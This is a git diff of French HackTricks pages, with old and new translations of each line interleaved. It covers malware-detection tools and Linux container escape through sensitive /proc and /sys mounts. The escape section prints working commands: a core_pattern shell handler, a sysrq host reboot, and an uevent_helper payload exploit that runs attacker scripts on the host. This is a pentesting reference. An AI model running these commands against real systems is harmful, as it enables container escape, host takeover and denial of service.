IOC signifie Indicateur de Compromission. Un IOC est un ensemble de **conditions qui identifient** un logiciel potentiellement indésirable ou un **malware** confirmé. Les équipes Blue utilisent ce type de définition pour **rechercher ce genre de fichiers malveillants** dans leurs **systèmes** et **réseaux**.\
Partager ces définitions est très utile car lorsqu'un malware est identifié sur un ordinateur et qu'un IOC pour ce malware est créé, d'autres équipes Blue peuvent l'utiliser pour identifier le malware plus rapidement.
IOC signifie Indicateur de Compromission. Un IOC est un ensemble de **conditions qui identifient** un logiciel potentiellement indésirable ou un **logiciel malveillant confirmé**. Les équipes Blue utilisent ce type de définition pour **rechercher ce type de fichiers malveillants** dans leurs **systèmes** et **réseaux**.\
Le partage de ces définitions est très utile car lorsque des logiciels malveillants sont identifiés sur un ordinateur et qu'un IOC pour ce logiciel malveillant est créé, d'autres équipes Blue peuvent l'utiliser pour identifier plus rapidement le logiciel malveillant.
Un outil pour créer ou modifier des IOCs est [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
Vous pouvez utiliser des outils tels que [**Redline**](https://www.fireeye.com/services/freeware/redline.html) pour **rechercher des IOCs définis dans un appareil**.
Vous pouvez utiliser des outils tels que [**Redline**](https://www.fireeye.com/services/freeware/redline.html) pour **rechercher des IOCs définis sur un appareil**.
### Loki
@ -104,41 +104,41 @@ Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) est un scanner de malware pour Linux publié sous la licence GNU GPLv2, conçu pour les menaces rencontrées dans les environnements d'hébergement partagé. Il utilise les données de menaces issues des systèmes de détection d'intrusion en périphérie de réseau pour extraire les malwares activement utilisés dans les attaques et génère des signatures pour la détection. De plus, les données de menaces proviennent également des soumissions des utilisateurs avec la fonctionnalité de vérification LMD et des ressources de la communauté de malwares.
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) est un scanner de logiciels malveillants pour Linux publié sous la licence GNU GPLv2, conçu pour faire face aux menaces rencontrées dans les environnements d'hébergement partagé. Il utilise des données de menaces provenant des systèmes de détection d'intrusion en bordure de réseau pour extraire les logiciels malveillants utilisés activement dans les attaques et génère des signatures pour la détection. De plus, les données de menace sont également dérivées des soumissions des utilisateurs avec la fonction de vérification de LMD et des ressources de la communauté des logiciels malveillants.
### rkhunter
Des outils comme [**rkhunter**](http://rkhunter.sourceforge.net) peuvent être utilisés pour vérifier le système de fichiers à la recherche de **rootkits** et de malwares potentiels.
Des outils comme [**rkhunter**](http://rkhunter.sourceforge.net) peuvent être utilisés pour vérifier le système de fichiers à la recherche de possibles **rootkits** et logiciels malveillants.
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss) est un outil qui tente de trouver des chaînes de caractères obfusquées dans les exécutables en utilisant différentes techniques.
[**FLOSS**](https://github.com/mandiant/flare-floss) est un outil qui essaiera de trouver des chaînes obfusquées à l'intérieur des exécutables en utilisant différentes techniques.
### PEpper
[PEpper](https://github.com/Th3Hurrican3/PEpper) vérifie certaines informations de base dans l'exécutable (données binaires, entropie, URLs et IPs, quelques règles yara).
[PEpper](https://github.com/Th3Hurrican3/PEpper) vérifie quelques éléments de base à l'intérieur de l'exécutable (données binaires, entropie, URLs et IPs, quelques règles yara).
### PEstudio
[PEstudio](https://www.winitor.com/download) est un outil qui permet d'obtenir des informations sur les exécutables Windows telles que les imports, exports, en-têtes, mais vérifie également virus total et trouve des techniques potentielles Att&ck.
[PEstudio](https://www.winitor.com/download) est un outil qui permet d'obtenir des informations sur les exécutables Windows telles que les imports, les exports, les en-têtes, mais vérifiera également VirusTotal et trouvera des techniques potentielles Att\&ck.
### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) est un outil pour détecter si un fichier est **chiffré** et également trouver des **packers**.
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) est un outil pour détecter si un fichier est **crypté** et trouver également des **packers**.
### NeoPI
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) est un script Python qui utilise une variété de **méthodes statistiques** pour détecter le contenu **obfusqué** et **chiffré** dans les fichiers de texte/scripts. L'objectif de NeoPI est d'aider à la **détection de code de web shell caché**.
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) est un script Python qui utilise une variété de **méthodes statistiques** pour détecter du contenu **obfusqué** et **crypté** dans des fichiers texte/script. Le but de NeoPI est de faciliter la **détection de code de coquille web caché**.
### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fait de son mieux pour détecter le code **obfusqué**/**douteux** ainsi que les fichiers utilisant des fonctions **PHP** souvent utilisées dans les **malwares**/webshells.
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fait de son mieux pour détecter du **code obfusqué**/**douteux** ainsi que des fichiers utilisant des fonctions **PHP** souvent utilisées dans les **malwares**/coquilles web.
### Signatures Binaires Apple
### Signatures binaires Apple
Lors de l'analyse d'un **échantillon de malware**, vous devriez toujours **vérifier la signature** du binaire car le **développeur** qui l'a signé peut déjà être **associé** à des **malwares**.
Lors de la vérification de certains **échantillons de logiciels malveillants**, vous devriez toujours **vérifier la signature** du binaire car le **développeur** qui l'a signé pourrait déjà être **lié** à des **logiciels malveillants**.
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -153,26 +153,12 @@ spctl --assess --verbose /Applications/Safari.app
### Empilement de fichiers
Si vous savez qu'un dossier contenant les **fichiers** d'un serveur web a été **mis à jour pour la dernière fois à une certaine date**. **Vérifiez** la **date** à laquelle tous les **fichiers** du **serveur web ont été créés et modifiés** et si une date est **suspecte**, examinez ce fichier.
Si vous savez qu'un dossier contenant les **fichiers** d'un serveur web a été **mis à jour pour la dernière fois à une certaine date**. **Vérifiez** la **date de création et de modification** de tous les **fichiers** du **serveur web** et si une date est **suspecte**, vérifiez ce fichier.
### Lignes de base
### Baselines
Si les fichiers d'un dossier **n'auraient pas dû être modifiés**, vous pouvez calculer le **hash** des **fichiers originaux** du dossier et les **comparer** avec les **actuels**. Tout ce qui a été modifié sera **suspect**.
Si les fichiers d'un dossier **ne devraient pas avoir été modifiés**, vous pouvez calculer le **hash** des **fichiers originaux** du dossier et les **comparer** avec les **fichiers actuels**. Tout ce qui a été modifié sera **suspect**.
### Analyse statistique
Lorsque les informations sont enregistrées dans des logs, vous pouvez **vérifier des statistiques telles que le nombre de fois que chaque fichier d'un serveur web a été accédé, car un web shell pourrait être l'un des plus**.
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Lorsque les informations sont enregistrées dans des journaux, vous pouvez **vérifier des statistiques telles que le nombre de fois où chaque fichier d'un serveur web a été accédé, car un shell web pourrait être l'un des plus**.

226
linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
View file

@ -1,175 +1,167 @@
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
(_**Ces informations proviennent de**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts))
L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
En raison du manque de support de l'espace de noms, l'exposition de `/proc` et `/sys` offre une surface d'attaque significative et une divulgation d'informations. De nombreux fichiers dans `procfs` et `sysfs` présentent un risque d'évasion de conteneur, de modification de l'hôte ou de divulgation d'informations de base qui pourraient faciliter d'autres attaques.
Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).
Pour abuser de ces techniques, il pourrait suffire de **mal configurer quelque chose comme `-v /proc:/host/proc`** car AppArmor ne protège pas `/host/proc` parce que **AppArmor est basé sur le chemin**
# Vulnérabilités procfs
# procfs
## `/proc/sys`
Ce répertoire permet d'accéder à la modification des variables du noyau, généralement via `sysctl(2)`, et contient plusieurs sous-répertoires préoccupants :
## /proc/sys
`/proc/sys` permet généralement d'accéder et de modifier les variables du noyau, souvent contrôlées par `sysctl(2)`.
### /proc/sys/kernel/core\_pattern
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) définit un programme qui est exécuté lors de la génération d'un fichier core (typiquement un crash de programme) et qui reçoit le fichier core en entrée standard si le premier caractère de ce fichier est un symbole de pipe `|`. Ce programme est exécuté par l'utilisateur root et permet jusqu'à 128 octets d'arguments de ligne de commande. Cela permettrait une exécution de code triviale au sein de l'hôte du conteneur étant donné n'importe quel crash et génération de fichier core (qui peut être simplement ignoré lors d'une myriade d'actions malveillantes).
### **`/proc/sys/kernel/core_pattern`**
- Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut entraîner une exécution de code si le fichier commence par un pipe `|`.
- **Exemple de test et d'exploitation** :
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing
[ -w /proc/sys/kernel/core_pattern ] && echo Oui # Test d'accès en écriture
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern
sleep 5 && ./crash &
echo "|$overlay/shell.sh" > core_pattern # Définit un gestionnaire personnalisé
sleep 5 && ./crash & # Déclenche le gestionnaire
```
### /proc/sys/kernel/modprobe
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contient le chemin vers le chargeur de module du noyau, qui est appelé lors du chargement d'un module du noyau, comme via la commande [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html). L'exécution de code peut être obtenue en effectuant une action qui déclenchera le noyau à tenter de charger un module du noyau (comme utiliser l'API crypto pour charger un module crypto actuellement non chargé, ou utiliser ifconfig pour charger un module réseau pour un dispositif actuellement non utilisé).
### **`/proc/sys/kernel/modprobe`**
- Détail dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contient le chemin du chargeur de module du noyau, invoqué pour charger les modules du noyau.
- **Exemple de vérification d'accès** :
```bash
# Check if you can directly access modprobe
ls -l `cat /proc/sys/kernel/modprobe`
ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe
```
### /proc/sys/vm/panic_on_oom
[/proc/sys/vm/panic_on_oom](https://man7.org/linux/man-pages/man5/proc.5.html) est un indicateur global qui détermine si le noyau va paniquer lorsqu'une condition de manque de mémoire (OOM) est atteinte (plutôt que d'invoquer le tueur OOM). Cela relève plus d'une attaque de déni de service (DoS) que d'une évasion de conteneur, mais cela expose néanmoins une capacité qui ne devrait être disponible que pour l'hôte.
### **`/proc/sys/vm/panic_on_oom`**
- Référencé dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Un indicateur global qui contrôle si le noyau panique ou invoque l'OOM killer lorsqu'une condition OOM se produit.
### /proc/sys/fs
### **`/proc/sys/fs`**
- Selon [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contient des options et des informations sur le système de fichiers.
- L'accès en écriture peut permettre diverses attaques de déni de service contre l'hôte.
Le répertoire [/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) contient un éventail d'options et d'informations concernant divers aspects du système de fichiers, y compris les quotas, les handles de fichiers, les inodes et les dentries. Un accès en écriture à ce répertoire permettrait diverses attaques de déni de service contre l'hôte.
### **`/proc/sys/fs/binfmt_misc`**
- Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique.
- Peut entraîner une élévation de privilèges ou un accès au shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible.
- Exploit pertinent et explication :
- [Rootkit de pauvre homme via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### /proc/sys/fs/binfmt_misc
## Autres dans `/proc`
[/proc/sys/fs/binfmt_misc](https://man7.org/linux/man-pages/man5/proc.5.html) permet d'exécuter des formats binaires divers, ce qui signifie généralement que divers **interprètes peuvent être enregistrés pour des formats binaires non natifs** (comme Java) en fonction de leur nombre magique. Vous pouvez faire exécuter un binaire en l'enregistrant comme gestionnaires.\
Vous pouvez trouver une exploitation sur [https://github.com/toffan/binfmt_misc](https://github.com/toffan/binfmt_misc) : _Rootkit du pauvre, exploiter l'option_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt_misc.txt#L62) _de_ [_binfmt_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst) _pour escalader les privilèges via n'importe quel binaire suid (et obtenir un shell root) si `/proc/sys/fs/binfmt_misc/register` est accessible en écriture._
### **`/proc/config.gz`**
- Peut révéler la configuration du noyau si `CONFIG_IKCONFIG_PROC` est activé.
- Utile pour les attaquants pour identifier les vulnérabilités dans le noyau en cours d'exécution.
Pour une explication plus approfondie de cette technique, consultez [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
## /proc/config.gz
Selon les paramètres `CONFIG_IKCONFIG_PROC`, [/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) expose une version compressée des options de configuration du noyau pour le noyau en cours d'exécution. Cela peut permettre à un conteneur compromis ou malveillant de découvrir facilement et de cibler les zones vulnérables activées dans le noyau.
## /proc/sysrq-trigger
`Sysrq` est un ancien mécanisme qui peut être invoqué via une combinaison spéciale de touches `SysRq`. Cela peut permettre un redémarrage immédiat du système, l'émission de `sync(2)`, le remontage de tous les systèmes de fichiers en lecture seule, l'invocation de débogueurs du noyau et d'autres opérations.
Si l'invité n'est pas correctement isolé, il peut déclencher les commandes [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) en écrivant des caractères dans le fichier `/proc/sysrq-trigger`.
### **`/proc/sysrq-trigger`**
- Permet d'invoquer des commandes Sysrq, provoquant potentiellement des redémarrages immédiats du système ou d'autres actions critiques.
- **Exemple de redémarrage de l'hôte** :
```bash
# Reboot the host
echo b > /proc/sysrq-trigger
echo b > /proc/sysrq-trigger # Redémarre l'hôte
```
## /proc/kmsg
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) peut exposer les messages du tampon circulaire du noyau généralement accessibles via `dmesg`. L'exposition de ces informations peut aider dans le développement d'exploits du noyau, déclencher des fuites d'adresses du noyau (qui pourraient être utilisées pour aider à vaincre la Randomisation de la Disposition de l'Espace d'Adressage du noyau (KASLR)), et être une source de divulgation d'informations générales sur le noyau, le matériel, les paquets bloqués et d'autres détails du système.
### **`/proc/kmsg`**
- Expose les messages du tampon de l'anneau du noyau.
- Peut aider dans les exploits du noyau, les fuites d'adresses et fournir des informations sensibles sur le système.
## /proc/kallsyms
### **`/proc/kallsyms`**
- Liste les symboles exportés du noyau et leurs adresses.
- Essentiel pour le développement d'exploits du noyau, en particulier pour contourner le KASLR.
- Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`.
- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contient une liste des symboles exportés par le noyau et leurs emplacements pour les modules dynamiques et chargeables. Cela inclut également l'emplacement de l'image du noyau en mémoire physique, ce qui est utile pour le développement d'exploits du noyau. À partir de ces emplacements, l'adresse de base ou le décalage du noyau peut être localisé, ce qui peut être utilisé pour surmonter la Randomisation de la Disposition de l'Espace d'Adressage du noyau (KASLR).
### **`/proc/[pid]/mem`**
- Interface avec le périphérique mémoire du noyau `/dev/mem`.
- Historiquement vulnérable aux attaques d'élévation de privilèges.
- Plus sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
Pour les systèmes avec `kptr_restrict` réglé sur `1` ou `2`, ce fichier existera mais ne fournira aucune information d'adresse (bien que l'ordre dans lequel les symboles sont listés soit identique à l'ordre en mémoire).
### **`/proc/kcore`**
- Représente la mémoire physique du système au format de noyau ELF.
- La lecture peut divulguer le contenu de la mémoire de l'hôte et des autres conteneurs.
- Une taille de fichier importante peut entraîner des problèmes de lecture ou des plantages logiciels.
- Utilisation détaillée dans [Dumping /proc/kcore en 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
## /proc/\[pid]/mem
### **`/proc/kmem`**
- Interface alternative pour `/dev/kmem`, représentant la mémoire virtuelle du noyau.
- Permet la lecture et l'écriture, donc la modification directe de la mémoire du noyau.
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) expose des interfaces au périphérique de mémoire du noyau `/dev/mem`. Bien que l'Espace de Noms PID puisse protéger contre certaines attaques via ce vecteur `procfs`, cette zone a été historiquement vulnérable, puis considérée comme sûre et à nouveau trouvée [vulnérable](https://git.zx2c4.com/CVE-2012-0056/about/) pour l'escalade de privilèges.
### **`/proc/mem`**
- Interface alternative pour `/dev/mem`, représentant la mémoire physique.
- Permet la lecture et l'écriture, la modification de toute la mémoire nécessite la résolution des adresses virtuelles en physiques.
## /proc/kcore
### **`/proc/sched_debug`**
- Renvoie des informations de planification des processus, contournant les protections de l'espace de noms PID.
- Expose les noms de processus, les identifiants et les identifiants de cgroup.
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) représente la mémoire physique du système et est au format ELF core (typiquement trouvé dans les fichiers de vidage de mémoire). Il ne permet pas d'écrire dans cette mémoire. La capacité de lire ce fichier (restreinte aux utilisateurs privilégiés) peut divulguer le contenu de la mémoire de l'hôte et d'autres conteneurs.
### **`/proc/[pid]/mountinfo`**
- Fournit des informations sur les points de montage dans l'espace de noms de montage du processus.
- Expose l'emplacement du `rootfs` du conteneur ou de l'image.
La grande taille de fichier signalée représente la quantité maximale de mémoire physiquement adressable pour l'architecture, et peut causer des problèmes lors de sa lecture (ou des plantages selon la fragilité du logiciel).
## Vulnérabilités sys
[Dumping /proc/kcore en 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
## /proc/kmem
`/proc/kmem` est une interface alternative pour [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche des périphériques cgroup), qui est un fichier de périphérique de caractère représentant la mémoire virtuelle du noyau. Il permet la lecture et l'écriture, autorisant la modification directe de la mémoire du noyau.
## /proc/mem
`/proc/mem` est une interface alternative pour [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche des périphériques cgroup), qui est un fichier de périphérique de caractère représentant la mémoire physique du système. Il permet la lecture et l'écriture, autorisant la modification de toute la mémoire. (Cela nécessite un peu plus de finesse que `kmem`, car les adresses virtuelles doivent d'abord être résolues en adresses physiques).
## /proc/sched\_debug
`/proc/sched_debug` est un fichier spécial qui retourne des informations sur l'ordonnancement des processus pour l'ensemble du système. Ces informations incluent les noms des processus et les identifiants des processus de tous les espaces de noms en plus des identifiants de cgroup des processus. Cela contourne effectivement les protections de l'Espace de Noms PID et est lisible par d'autres/utilisateurs du monde, donc il peut être exploité dans des conteneurs non privilégiés également.
## /proc/\[pid]/mountinfo
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contient des informations sur les points de montage dans l'espace de noms de montage du processus. Il expose l'emplacement du `rootfs` du conteneur ou de l'image.
# sysfs
## /sys/kernel/uevent\_helper
Les `uevents` sont des événements déclenchés par le noyau lorsqu'un périphérique est ajouté ou retiré. Notamment, le chemin pour le `uevent_helper` peut être modifié en écrivant dans `/sys/kernel/uevent_helper`. Ensuite, lorsqu'un `uevent` est déclenché (ce qui peut également être fait depuis l'espace utilisateur en écrivant dans des fichiers tels que `/sys/class/mem/null/uevent`), le `uevent_helper` malveillant est exécuté.
```bash
# Creates a payload
cat "#!/bin/sh" > /evil-helper
cat "ps > /output" >> /evil-helper
### **`/sys/kernel/uevent_helper`**
- Utilisé pour gérer les `uevents` des périphériques du noyau.
- Écrire dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors de déclenchements `uevent`.
- **Exemple d'exploitation** :
%%%bash
# Crée une charge utile
echo "#!/bin/sh" > /evil-helper
echo "ps > /output" >> /evil-helper
chmod +x /evil-helper
# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# Sets uevent_helper to /path/payload
# Trouve le chemin de l'hôte depuis le montage OverlayFS pour le conteneur
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Définit uevent_helper sur l'assistant malveillant
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
# Triggers a uevent
# Déclenche un uevent
echo change > /sys/class/mem/null/uevent
# or else
# echo /sbin/poweroff > /sys/kernel/uevent_helper
# Reads the output
# Lit la sortie
cat /output
```
## /sys/class/thermal
%%%
Accès à l'ACPI et à divers paramètres matériels pour le contrôle de la température, généralement trouvés dans les ordinateurs portables ou les cartes mères de jeux. Cela peut permettre des attaques par déni de service contre l'hôte du conteneur, pouvant même entraîner des dommages physiques.
### **`/sys/class/thermal`**
- Contrôle les paramètres de température, pouvant causer des attaques DoS ou des dommages physiques.
## /sys/kernel/vmcoreinfo
### **`/sys/kernel/vmcoreinfo`**
- Fuites d'adresses du noyau, compromettant potentiellement le KASLR.
Ce fichier peut divulguer des adresses du noyau qui pourraient être utilisées pour défaire le KASLR.
### **`/sys/kernel/security`**
- Héberge l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor.
- L'accès pourrait permettre à un conteneur de désactiver son système MAC.
## /sys/kernel/security
### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`**
- Exposent des interfaces pour interagir avec les variables EFI dans la NVRAM.
- Une mauvaise configuration ou une exploitation peut rendre les ordinateurs portables inutilisables ou les machines hôtes non démarrables.
Dans `/sys/kernel/security` est montée l'interface `securityfs`, qui permet la configuration des modules de sécurité Linux. Cela permet la configuration des [politiques AppArmor](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), et donc l'accès à cela peut permettre à un conteneur de désactiver son système MAC.
### **`/sys/kernel/debug`**
- `debugfs` offre une interface de débogage "sans règles" au noyau.
- Historique de problèmes de sécurité en raison de sa nature non restreinte.
## /sys/firmware/efi/vars
`/sys/firmware/efi/vars` expose des interfaces pour interagir avec les variables EFI dans la NVRAM. Bien que cela ne soit généralement pas pertinent pour la plupart des serveurs, l'EFI devient de plus en plus populaire. Des faiblesses de permission ont même conduit à des ordinateurs portables briqués.
## /sys/firmware/efi/efivars
`/sys/firmware/efi/efivars` fournit une interface pour écrire dans la NVRAM utilisée pour les arguments de démarrage UEFI. Les modifier peut rendre la machine hôte inamorçable.
## /sys/kernel/debug
`debugfs` fournit une interface "sans règles" par laquelle le noyau (ou les modules du noyau) peut créer des interfaces de débogage accessibles à l'espace utilisateur. Il a eu un certain nombre de problèmes de sécurité dans le passé, et les directives "sans règles" derrière le système de fichiers ont souvent été en conflit avec les contraintes de sécurité.
# Références
* [Comprendre et renforcer la sécurité des conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abuser des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Comprendre et renforcer les conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abus des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

410
macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md
View file

@ -2,407 +2,65 @@
<details>
